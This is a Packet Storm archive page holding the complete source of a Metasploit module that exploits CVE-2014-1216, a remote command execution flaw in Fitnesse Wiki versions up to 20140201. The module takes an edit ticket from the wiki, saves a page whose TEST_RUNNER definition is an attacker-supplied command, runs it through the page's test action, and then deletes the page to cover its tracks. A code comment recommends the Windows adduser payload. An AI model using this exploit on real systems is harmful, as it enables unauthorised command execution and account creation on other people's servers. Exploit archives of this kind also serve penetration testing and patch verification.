what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Fitnesse Wiki Remote Command Execution

Fitnesse Wiki Remote Command Execution
Posted Mar 28, 2014
Authored by Veerendra G.G, Jerzy Kramarz | Site metasploit.com

This Metasploit module exploits a vulnerability found in Fitnesse Wiki, version 20140201 and earlier.

tags | exploit
advisories | CVE-2014-1216
SHA-256 | ea5185af9eacbf5f8ba32b49f0b348feaf5aeb8b06d576421ac1861e3bd61b62

Fitnesse Wiki Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Fitnesse Wiki Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability found in Fitnesse Wiki, version 20140201
and earlier.
},
'Author' =>
[
'Jerzy Kramarz', ## Vulnerability discovery
'Veerendra G.G <veerendragg {at} secpod.com>', ## Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-1216' ],
[ 'OSVDB', '103907' ],
[ 'BID', '65921' ],
[ 'URL', 'http://secpod.org/blog/?p=2311' ],
[ 'URL', 'http://secpod.org/msf/fitnesse_wiki_rce.rb' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Mar/1' ],
[ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-1216/' ]
],

'Privileged' => false,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd', ##
##'RequiredCmd' => 'generic telnet',
## payloads cmd/windows/adduser and cmd/windows/generic works perfectly
}
},
'Platform' => %w{ win },
'Arch' => ARCH_CMD,
'Targets' =>
[
['Windows', { 'Platform' => 'win' } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 25 2014'))

register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'Fitnesse Wiki base path', '/'])
], self.class)
end

def check
print_status("#{peer} - Trying to detect Fitnesse Wiki")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})

if res && res.code == 200 && res.body.include?(">FitNesse<")
print_good("#{peer} - FitNesse Wiki Detected!")
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Safe
end

def http_send_command(command)

## Construct random page in WikiWord format
uri = normalize_uri(target_uri.path, 'TestP' + rand_text_alpha_lower(7))
res = send_request_cgi({
'method' => 'GET',
'uri' => uri + "?edit"
})

if !res || res.code != 200
fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
end

print_status("#{peer} - Retrieving edit time and ticket id")

## Get Edit Time and Ticket Id from the response
res.body =~ /"editTime" value="((\d)+)"/
edit_time = $1

res.body =~ /"ticketId" value="((-?\d)+)"/
ticket_id = $1

## Validate we are able to extract Edit Time and Ticket Id
if !edit_time or !ticket_id
print_error("#{peer} - Failed to get Ticket Id / Edit Time.")
return
end

print_status("#{peer} - Attempting to create '#{uri}'")

## Construct Referer
referer = "http://#{rhost}:#{rport}" + uri + "?edit"

## Construct command to be executed
page_content = '!define COMMAND_PATTERN {%m}
!define TEST_RUNNER {' + command + '}'

print_status("#{peer} - Injecting the payload")
## Construct POST request to create page with malicious commands
## inserted in the page
res = send_request_cgi(
{
'uri' => uri,
'method' => 'POST',
'headers' => {'Referer' => referer},
'vars_post' =>
{
'editTime' => edit_time,
'ticketId' => ticket_id,
'responder' => 'saveData',
'helpText' => '',
'suites' => '',
'__EDITOR__1' => 'textarea',
'pageContent' => page_content,
'save' => 'Save',
}
})

if res && res.code == 303
print_status("#{peer} - Successfully created '#{uri}' with payload")
end

## Execute inserted command
print_status("#{peer} - Sending exploit request")
res = send_request_cgi({
'method' => 'GET',
'uri' => uri + "?test"
})

if res && res.code == 200
print_status("#{peer} - Successfully sent exploit request")
end

## Cleanup by deleting the created page
print_status("#{peer} - Execting cleanup routine")
referer = "http://#{rhost}:#{rport}" + uri + "?deletePage"
res = send_request_cgi(
{
'uri' => uri + "?deletePage",
'method' => 'POST',
'headers' => {'Referer' => referer},
'vars_post' =>
{
'confirmed' => 'Yes',
}
})
end

def exploit
http_send_command(payload.encoded)
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close